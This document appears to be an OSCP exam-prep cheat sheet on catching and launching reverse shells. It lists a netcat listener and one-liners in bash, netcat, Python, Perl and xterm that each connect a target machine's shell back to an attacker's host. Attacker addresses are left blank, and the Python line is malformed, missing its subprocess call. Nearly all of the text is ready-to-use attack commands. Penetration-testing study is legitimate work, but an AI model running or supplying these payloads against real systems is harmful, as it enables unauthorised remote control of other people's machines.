Reverse Shells

Catching Reverse Shells

  • Because metasploit usage is limited in the OSCP exam, we will stick to basic NetCat receivers

nc -nvlp 31337

Using Tools Present

  • Bash

bash -i >& /dev/tcp/ 0>&1
  • Netcat without -e flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 31337 >/tmp/f
  • Netcat with -e flag

nc -e /bin/bash 31337
  • Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
  • Perl

perl -e 'use Socket;$i="";$p=31337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Xterm

#On target system
xterm -display
#On Kali
Xnest :1
xhost +<targetip>